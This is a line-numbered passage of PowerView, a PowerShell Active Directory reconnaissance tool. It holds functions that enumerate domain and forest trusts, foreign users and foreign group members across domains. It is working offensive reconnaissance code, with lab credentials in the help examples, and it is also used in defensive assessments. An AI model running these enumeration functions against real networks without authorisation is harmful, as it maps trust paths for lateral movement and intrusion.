  19697                     $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
  19698 
  19699                     $Direction = Switch ($Props.trustdirection) {
  19700                         0 { 'Disabled' }
  19701                         1 { 'Inbound' }
  19702                         2 { 'Outbound' }
  19703                         3 { 'Bidirectional' }
  19704                     }
  19705 
  19706                     $TrustType = Switch ($Props.trusttype) {
  19707                         1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' }
  19708                         2 { 'WINDOWS_ACTIVE_DIRECTORY' }
  19709                         3 { 'MIT' }
  19710                     }
  19711 
  19712                     $Distinguishedname = $Props.distinguishedname[0]
  19713                     $SourceNameIndex = $Distinguishedname.IndexOf('DC=')
  19714                     if ($SourceNameIndex) {
  19715                         $SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.'
  19716                     }
  19717                     else {
  19718                         $SourceDomain = ""
  19719                     }
  19720 
  19721                     $TargetNameIndex = $Distinguishedname.IndexOf(',CN=System')
  19722                     if ($SourceNameIndex) {
  19723                         $TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3)
  19724                     }
  19725                     else {
  19726                         $TargetDomain = ""
  19727                     }
  19728 
  19729                     $ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
  19730                     $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
  19731 
  19732                     $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
  19733                     $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
  19734                     # $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}"
  19735                     $DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType
  19736                     $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',')
  19737                     $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
  19738                     $DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0]
  19739                     $DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0]
  19740                     $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP')
  19741                     $DomainTrust
  19742                 }
  19743                 if ($Results) {
  19744                     try { $Results.dispose() }
  19745                     catch {
  19746                         Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_"
  19747                     }
  19748                 }
  19749                 $TrustSearcher.dispose()
  19750             }
  19751         }
  19752         elseif ($PsCmdlet.ParameterSetName -eq 'API') {
  19753             # if we're searching for domain trusts through Win32 API functions
  19754             if ($PSBoundParameters['Server']) {
  19755                 $TargetDC = $Server
  19756             }
  19757             elseif ($Domain -and $Domain.Trim() -ne '') {
  19758                 $TargetDC = $Domain
  19759             }
  19760             else {
  19761                 # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior
  19762                 $TargetDC = $Null
  19763             }
  19764 
  19765             # arguments for DsEnumerateDomainTrusts
  19766             $PtrInfo = [IntPtr]::Zero
  19767 
  19768             # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
  19769             $Flags = 63
  19770             $DomainCount = 0
  19771 
  19772             # get the trust information from the target server
  19773             $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
  19774 
  19775             # Locate the offset of the initial intPtr
  19776             $Offset = $PtrInfo.ToInt64()
  19777 
  19778             # 0 = success
  19779             if (($Result -eq 0) -and ($Offset -gt 0)) {
  19780 
  19781                 # Work out how much to increment the pointer by finding out the size of the structure
  19782                 $Increment = $DS_DOMAIN_TRUSTS::GetSize()
  19783 
  19784                 # parse all the result structures
  19785                 for ($i = 0; ($i -lt $DomainCount); $i++) {
  19786                     # create a new int ptr at the given offset and cast the pointer as our result structure
  19787                     $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
  19788                     $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
  19789 
  19790                     $Offset = $NewIntPtr.ToInt64()
  19791                     $Offset += $Increment
  19792 
  19793                     $SidString = ''
  19794                     $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
  19795 
  19796                     if ($Result -eq 0) {
  19797                         Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
  19798                     }
  19799                     else {
  19800                         $DomainTrust = New-Object PSObject
  19801                         $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
  19802                         $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName
  19803                         $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName
  19804                         $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
  19805                         $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
  19806                         $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
  19807                         $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
  19808                         $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString
  19809                         $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid
  19810                         $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API')
  19811                         $DomainTrust
  19812                     }
  19813                 }
  19814                 # free up the result buffer
  19815                 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
  19816             }
  19817             else {
  19818                 Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
  19819             }
  19820         }
  19821         else {
  19822             # if we're searching for domain trusts through .NET methods
  19823             $FoundDomain = Get-Domain @NetSearcherArguments
  19824             if ($FoundDomain) {
  19825                 $FoundDomain.GetAllTrustRelationships() | ForEach-Object {
  19826                     $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET')
  19827                     $_
  19828                 }
  19829             }
  19830         }
  19831     }
  19832 }
  19833 
  19834 
  19835 function Get-ForestTrust {
  19836 <#
  19837 .SYNOPSIS
  19838 
  19839 Return all forest trusts for the current forest or a specified forest.
  19840 
  19841 Author: Will Schroeder (@harmj0y)  
  19842 License: BSD 3-Clause  
  19843 Required Dependencies: Get-Forest  
  19844 
  19845 .DESCRIPTION
  19846 
  19847 This function will enumerate domain trust relationships for the current (or a remote)
  19848 forest using number of method using the .NET method GetAllTrustRelationships() on a
  19849 System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest.
  19850 
  19851 .PARAMETER Forest
  19852 
  19853 Specifies the forest to query for trusts, defaults to the current forest.
  19854 
  19855 .PARAMETER Credential
  19856 
  19857 A [Management.Automation.PSCredential] object of alternate credentials
  19858 for connection to the target domain.
  19859 
  19860 .EXAMPLE
  19861 
  19862 Get-ForestTrust
  19863 
  19864 Return current forest trusts.
  19865 
  19866 .EXAMPLE
  19867 
  19868 Get-ForestTrust -Forest "external.local"
  19869 
  19870 Return trusts for the "external.local" forest.
  19871 
  19872 .EXAMPLE
  19873 
  19874 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  19875 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  19876 Get-ForestTrust -Forest "external.local" -Credential $Cred
  19877 
  19878 Return trusts for the "external.local" forest using the specified alternate credenitals.
  19879 
  19880 .OUTPUTS
  19881 
  19882 PowerView.DomainTrust.NET
  19883 
  19884 A TrustRelationshipInformationCollection returned when using .NET methods (default).
  19885 #>
  19886 
  19887     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  19888     [OutputType('PowerView.ForestTrust.NET')]
  19889     [CmdletBinding()]
  19890     Param(
  19891         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  19892         [Alias('Name')]
  19893         [ValidateNotNullOrEmpty()]
  19894         [String]
  19895         $Forest,
  19896 
  19897         [Management.Automation.PSCredential]
  19898         [Management.Automation.CredentialAttribute()]
  19899         $Credential = [Management.Automation.PSCredential]::Empty
  19900     )
  19901 
  19902     PROCESS {
  19903         $NetForestArguments = @{}
  19904         if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest }
  19905         if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential }
  19906 
  19907         $FoundForest = Get-Forest @NetForestArguments
  19908 
  19909         if ($FoundForest) {
  19910             $FoundForest.GetAllTrustRelationships() | ForEach-Object {
  19911                 $_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET')
  19912                 $_
  19913             }
  19914         }
  19915     }
  19916 }
  19917 
  19918 
  19919 function Get-DomainForeignUser {
  19920 <#
  19921 .SYNOPSIS
  19922 
  19923 Enumerates users who are in groups outside of the user's domain.
  19924 This is a domain's "outgoing" access.
  19925 
  19926 Author: Will Schroeder (@harmj0y)  
  19927 License: BSD 3-Clause  
  19928 Required Dependencies: Get-Domain, Get-DomainUser  
  19929 
  19930 .DESCRIPTION
  19931 
  19932 Uses Get-DomainUser to enumerate all users for the current (or target) domain,
  19933 then calculates the given user's domain name based on the user's distinguishedName.
  19934 This domain name is compared to the queried domain, and the user object is
  19935 output if they differ.
  19936 
  19937 .PARAMETER Domain
  19938 
  19939 Specifies the domain to use for the query, defaults to the current domain.
  19940 
  19941 .PARAMETER LDAPFilter
  19942 
  19943 Specifies an LDAP query string that is used to filter Active Directory objects.
  19944 
  19945 .PARAMETER Properties
  19946 
  19947 Specifies the properties of the output object to retrieve from the server.
  19948 
  19949 .PARAMETER SearchBase
  19950 
  19951 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  19952 Useful for OU queries.
  19953 
  19954 .PARAMETER Server
  19955 
  19956 Specifies an Active Directory server (domain controller) to bind to.
  19957 
  19958 .PARAMETER SearchScope
  19959 
  19960 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  19961 
  19962 .PARAMETER ResultPageSize
  19963 
  19964 Specifies the PageSize to set for the LDAP searcher object.
  19965 
  19966 .PARAMETER ServerTimeLimit
  19967 
  19968 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  19969 
  19970 .PARAMETER SecurityMasks
  19971 
  19972 Specifies an option for examining security information of a directory object.
  19973 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
  19974 
  19975 .PARAMETER Tombstone
  19976 
  19977 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  19978 
  19979 .PARAMETER Credential
  19980 
  19981 A [Management.Automation.PSCredential] object of alternate credentials
  19982 for connection to the target domain.
  19983 
  19984 .EXAMPLE
  19985 
  19986 Get-DomainForeignUser
  19987 
  19988 Return all users in the current domain who are in groups not in the
  19989 current domain.
  19990 
  19991 .EXAMPLE
  19992 
  19993 Get-DomainForeignUser -Domain dev.testlab.local
  19994 
  19995 Return all users in the dev.testlab.local domain who are in groups not in the
  19996 dev.testlab.local domain.
  19997 
  19998 .EXAMPLE
  19999 
  20000 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  20001 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  20002 Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
  20003 
  20004 Return all users in the dev.testlab.local domain who are in groups not in the
  20005 dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and
  20006 using the specified alternate credentials.
  20007 
  20008 .OUTPUTS
  20009 
  20010 PowerView.ForeignUser
  20011 
  20012 Custom PSObject with translated user property fields.
  20013 #>
  20014 
  20015     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  20016     [OutputType('PowerView.ForeignUser')]
  20017     [CmdletBinding()]
  20018     Param(
  20019         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  20020         [Alias('Name')]
  20021         [ValidateNotNullOrEmpty()]
  20022         [String]
  20023         $Domain,
  20024 
  20025         [ValidateNotNullOrEmpty()]
  20026         [Alias('Filter')]
  20027         [String]
  20028         $LDAPFilter,
  20029 
  20030         [ValidateNotNullOrEmpty()]
  20031         [String[]]
  20032         $Properties,
  20033 
  20034         [ValidateNotNullOrEmpty()]
  20035         [Alias('ADSPath')]
  20036         [String]
  20037         $SearchBase,
  20038 
  20039         [ValidateNotNullOrEmpty()]
  20040         [Alias('DomainController')]
  20041         [String]
  20042         $Server,
  20043 
  20044         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  20045         [String]
  20046         $SearchScope = 'Subtree',
  20047 
  20048         [ValidateRange(1, 10000)]
  20049         [Int]
  20050         $ResultPageSize = 200,
  20051 
  20052         [ValidateRange(1, 10000)]
  20053         [Int]
  20054         $ServerTimeLimit,
  20055 
  20056         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  20057         [String]
  20058         $SecurityMasks,
  20059 
  20060         [Switch]
  20061         $Tombstone,
  20062 
  20063         [Management.Automation.PSCredential]
  20064         [Management.Automation.CredentialAttribute()]
  20065         $Credential = [Management.Automation.PSCredential]::Empty
  20066     )
  20067 
  20068     BEGIN {
  20069         $SearcherArguments = @{}
  20070         $SearcherArguments['LDAPFilter'] = '(memberof=*)'
  20071         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  20072         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  20073         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  20074         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  20075         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  20076         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  20077         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  20078         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  20079         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  20080         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  20081         if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
  20082     }
  20083 
  20084     PROCESS {
  20085         Get-DomainUser @SearcherArguments  | ForEach-Object {
  20086             ForEach ($Membership in $_.memberof) {
  20087                 $Index = $Membership.IndexOf('DC=')
  20088                 if ($Index) {
  20089 
  20090                     $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
  20091                     $UserDistinguishedName = $_.distinguishedname
  20092                     $UserIndex = $UserDistinguishedName.IndexOf('DC=')
  20093                     $UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.'
  20094 
  20095                     if ($GroupDomain -ne $UserDomain) {
  20096                         # if the group domain doesn't match the user domain, display it
  20097                         $GroupName = $Membership.Split(',')[0].split('=')[1]
  20098                         $ForeignUser = New-Object PSObject
  20099                         $ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain
  20100                         $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
  20101                         $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname
  20102                         $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
  20103                         $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
  20104                         $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
  20105                         $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser')
  20106                         $ForeignUser
  20107                     }
  20108                 }
  20109             }
  20110         }
  20111     }
  20112 }
  20113 
  20114 
  20115 function Get-DomainForeignGroupMember {
  20116 <#
  20117 .SYNOPSIS
  20118 
  20119 Enumerates groups with users outside of the group's domain and returns
  20120 each foreign member. This is a domain's "incoming" access.
  20121 
  20122 Author: Will Schroeder (@harmj0y)  
  20123 License: BSD 3-Clause  
  20124 Required Dependencies: Get-Domain, Get-DomainGroup  
  20125 
  20126 .DESCRIPTION
  20127 
  20128 Uses Get-DomainGroup to enumerate all groups for the current (or target) domain,
  20129 then enumerates the members of each group, and compares the member's domain
  20130 name to the parent group's domain name, outputting the member if the domains differ.
  20131 
  20132 .PARAMETER Domain
  20133 
  20134 Specifies the domain to use for the query, defaults to the current domain.
  20135 
  20136 .PARAMETER LDAPFilter
  20137 
  20138 Specifies an LDAP query string that is used to filter Active Directory objects.
  20139 
  20140 .PARAMETER Properties
  20141 
  20142 Specifies the properties of the output object to retrieve from the server.
  20143 
  20144 .PARAMETER SearchBase
  20145 
  20146 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  20147 Useful for OU queries.
  20148 
  20149 .PARAMETER Server
  20150 
  20151 Specifies an Active Directory server (domain controller) to bind to.
  20152 
  20153 .PARAMETER SearchScope
  20154 
  20155 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  20156 
  20157 .PARAMETER ResultPageSize
  20158 
  20159 Specifies the PageSize to set for the LDAP searcher object.
  20160 
  20161 .PARAMETER ServerTimeLimit
  20162 
  20163 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  20164 
  20165 .PARAMETER SecurityMasks
  20166 
  20167 Specifies an option for examining security information of a directory object.
  20168 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
  20169 
  20170 .PARAMETER Tombstone
  20171 
  20172 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  20173 
  20174 .PARAMETER Credential
  20175 
  20176 A [Management.Automation.PSCredential] object of alternate credentials
  20177 for connection to the target domain.
  20178 
  20179 .EXAMPLE
  20180 
  20181 Get-DomainForeignGroupMember
  20182 
  20183 Return all group members in the current domain where the group and member differ.
  20184 
  20185 .EXAMPLE
  20186 
  20187 Get-DomainForeignGroupMember -Domain dev.testlab.local
  20188 
  20189 Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local.
  20190 
  20191 .EXAMPLE
  20192 
  20193 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  20194 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  20195 Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
  20196 
  20197 Return all group members in the dev.testlab.local domain where the member is
  20198 not in dev.testlab.local. binding to the secondary.dev.testlab.local for
  20199 queries, and using the specified alternate credentials.
  20200 
  20201 .OUTPUTS
  20202 
  20203 PowerView.ForeignGroupMember
  20204 
  20205 Custom PSObject with translated group member property fields.
  20206 #>
  20207 
  20208     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  20209     [OutputType('PowerView.ForeignGroupMember')]
  20210     [CmdletBinding()]
  20211     Param(
  20212         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  20213         [Alias('Name')]
  20214         [ValidateNotNullOrEmpty()]
  20215         [String]
  20216         $Domain,
  20217 
  20218         [ValidateNotNullOrEmpty()]
  20219         [Alias('Filter')]
  20220         [String]
  20221         $LDAPFilter,
  20222 
  20223         [ValidateNotNullOrEmpty()]
  20224         [String[]]
  20225         $Properties,
  20226 
  20227         [ValidateNotNullOrEmpty()]
  20228         [Alias('ADSPath')]
  20229         [String]
  20230         $SearchBase,
  20231 
  20232         [ValidateNotNullOrEmpty()]
  20233         [Alias('DomainController')]
  20234         [String]
  20235         $Server,
  20236 
  20237         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  20238         [String]
  20239         $SearchScope = 'Subtree',
  20240 
  20241         [ValidateRange(1, 10000)]
  20242         [Int]
  20243         $ResultPageSize = 200,
  20244 
  20245         [ValidateRange(1, 10000)]
  20246         [Int]
  20247         $ServerTimeLimit,
  20248 
  20249         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  20250         [String]
  20251         $SecurityMasks,
  20252 
  20253         [Switch]
  20254         $Tombstone,
  20255 
  20256         [Management.Automation.PSCredential]
  20257         [Management.Automation.CredentialAttribute()]
  20258         $Credential = [Management.Automation.PSCredential]::Empty
  20259     )
  20260 
  20261     BEGIN {
  20262         $SearcherArguments = @{}
  20263         $SearcherArguments['LDAPFilter'] = '(member=*)'
  20264         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  20265         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  20266         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  20267         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  20268         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  20269         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  20270         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  20271         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  20272         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  20273         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  20274         if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
  20275     }
  20276 
  20277     PROCESS {
  20278         # standard group names to ignore
  20279         $ExcludeGroups = @('Users', 'Domain Users', 'Guests')
  20280 
  20281         Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.samaccountname } | ForEach-Object {
  20282             $GroupName = $_.samAccountName
  20283             $GroupDistinguishedName = $_.distinguishedname
  20284             $GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  20285 
  20286             $_.member | ForEach-Object {
  20287                 # filter for foreign SIDs in the cn field for users in another domain,
  20288                 #   or if the DN doesn't end with the proper DN for the queried domain
  20289                 $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  20290                 if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) {
  20291                     $MemberDistinguishedName = $_
  20292                     $MemberName = $_.Split(',')[0].split('=')[1]
  20293 
  20294                     $ForeignGroupMember = New-Object PSObject
  20295                     $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain
  20296                     $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName
  20297                     $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName
  20298                     $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
  20299                     $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName
  20300                     $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName
  20301                     $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember')
  20302                     $ForeignGroupMember
  20303                 }
  20304             }
  20305         }
  20306     }
  20307 }
  20308 
  20309 
  20310 function Get-DomainTrustMapping {
  20311 <#
  20312 .SYNOPSIS
  20313 
  20314 This function enumerates all trusts for the current domain and then enumerates
  20315 all trusts for each domain it finds.
  20316 
  20317 Author: Will Schroeder (@harmj0y)  
  20318 License: BSD 3-Clause  
  20319 Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust  
  20320 
  20321 .DESCRIPTION
  20322 
  20323 This function will enumerate domain trust relationships for the current domain using
  20324 a number of methods, and then enumerates all trusts for each found domain, recursively
  20325 mapping all reachable trust relationships. By default, and LDAP search using the filter
  20326 '(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified
  20327 LDAP is used as well. If the -NET flag is specified, the .NET method
  20328 GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain
  20329 object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is
  20330 used to enumerate instead. If any 
  20331 
  20332 .PARAMETER API
  20333 
  20334 Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the
  20335 built-in LDAP method.
  20336 
  20337 .PARAMETER NET
  20338 
  20339 Switch. Use .NET queries to enumerate trusts instead of the default LDAP method.
  20340 
  20341 .PARAMETER LDAPFilter
  20342 
  20343 Specifies an LDAP query string that is used to filter Active Directory objects.
  20344 
  20345 .PARAMETER Properties
  20346 
  20347 Specifies the properties of the output object to retrieve from the server.
  20348 
  20349 .PARAMETER SearchBase
  20350 
  20351 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  20352 Useful for OU queries.
  20353 
  20354 .PARAMETER Server
  20355 
  20356 Specifies an Active Directory server (domain controller) to bind to.
  20357 
  20358 .PARAMETER SearchScope
  20359 
  20360 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  20361 
  20362 .PARAMETER ResultPageSize
  20363 
  20364 Specifies the PageSize to set for the LDAP searcher object.
  20365 
  20366 .PARAMETER ServerTimeLimit
  20367 
  20368 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  20369 
  20370 .PARAMETER Tombstone
  20371 
  20372 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  20373 
  20374 .PARAMETER Credential
  20375 
  20376 A [Management.Automation.PSCredential] object of alternate credentials
  20377 for connection to the target domain.
  20378 
  20379 .EXAMPLE
  20380 
  20381 Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv
  20382 
  20383 Map all reachable domain trusts using .NET methods and output everything to a .csv file.
  20384 
  20385 .EXAMPLE
  20386 
  20387 Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv
  20388 
  20389 Map all reachable domain trusts using Win32 API calls and output everything to a .csv file.
  20390 
  20391 .EXAMPLE
  20392 
  20393 Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv
  20394 
  20395 Map all reachable domain trusts using .NET methods and output everything to a .csv file.
  20396 
  20397 .EXAMPLE
  20398 
  20399 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  20400 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  20401 Get-DomainTrustMapping -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv
  20402 
  20403 Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries
  20404 using the specified alternate credentials, and output everything to a .csv file.
  20405 
  20406 .OUTPUTS
  20407 
  20408 PowerView.DomainTrust.LDAP
  20409 
  20410 Custom PSObject with translated domain LDAP trust result fields (default).
  20411 
  20412 PowerView.DomainTrust.NET
  20413 
  20414 A TrustRelationshipInformationCollection returned when using .NET methods.
  20415 
  20416 PowerView.DomainTrust.API
  20417 
  20418 Custom PSObject with translated domain API trust result fields.
  20419 #>
  20420 
  20421     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  20422     [OutputType('PowerView.DomainTrust.NET')]
  20423     [OutputType('PowerView.DomainTrust.LDAP')]
  20424     [OutputType('PowerView.DomainTrust.API')]
  20425     [CmdletBinding(DefaultParameterSetName = 'LDAP')]
  20426     Param(
  20427         [Parameter(ParameterSetName = 'API')]
  20428         [Switch]
  20429         $API,
  20430 
  20431         [Parameter(ParameterSetName = 'NET')]
  20432         [Switch]
  20433         $NET,
  20434 
  20435         [Parameter(ParameterSetName = 'LDAP')]
  20436         [ValidateNotNullOrEmpty()]
  20437         [Alias('Filter')]
  20438         [String]
  20439         $LDAPFilter,
  20440 
  20441         [Parameter(ParameterSetName = 'LDAP')]
  20442         [ValidateNotNullOrEmpty()]
  20443         [String[]]
  20444         $Properties,
  20445 
  20446         [Parameter(ParameterSetName = 'LDAP')]
  20447         [ValidateNotNullOrEmpty()]
  20448         [Alias('ADSPath')]
  20449         [String]
  20450         $SearchBase,
  20451 
  20452         [Parameter(ParameterSetName = 'LDAP')]
  20453         [Parameter(ParameterSetName = 'API')]
  20454         [ValidateNotNullOrEmpty()]
  20455         [Alias('DomainController')]
  20456         [String]
  20457         $Server,
  20458 
  20459         [Parameter(ParameterSetName = 'LDAP')]
  20460         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  20461         [String]
  20462         $SearchScope = 'Subtree',
  20463 
  20464         [Parameter(ParameterSetName = 'LDAP')]
  20465         [ValidateRange(1, 10000)]
  20466         [Int]
  20467         $ResultPageSize = 200,
  20468 
  20469         [Parameter(ParameterSetName = 'LDAP')]
  20470         [ValidateRange(1, 10000)]
  20471         [Int]
  20472         $ServerTimeLimit,
  20473 
  20474         [Parameter(ParameterSetName = 'LDAP')]
  20475         [Switch]
  20476         $Tombstone,
  20477 
  20478         [Parameter(ParameterSetName = 'LDAP')]
  20479         [Management.Automation.PSCredential]
  20480         [Management.Automation.CredentialAttribute()]
  20481         $Credential = [Management.Automation.PSCredential]::Empty
  20482     )
  20483 
  20484     # keep track of domains seen so we don't hit infinite recursion
  20485     $SeenDomains = @{}
  20486 
  20487     # our domain status tracker
  20488     $Domains = New-Object System.Collections.Stack
  20489 
  20490     $DomainTrustArguments = @{}
  20491     if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API }
  20492     if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET }
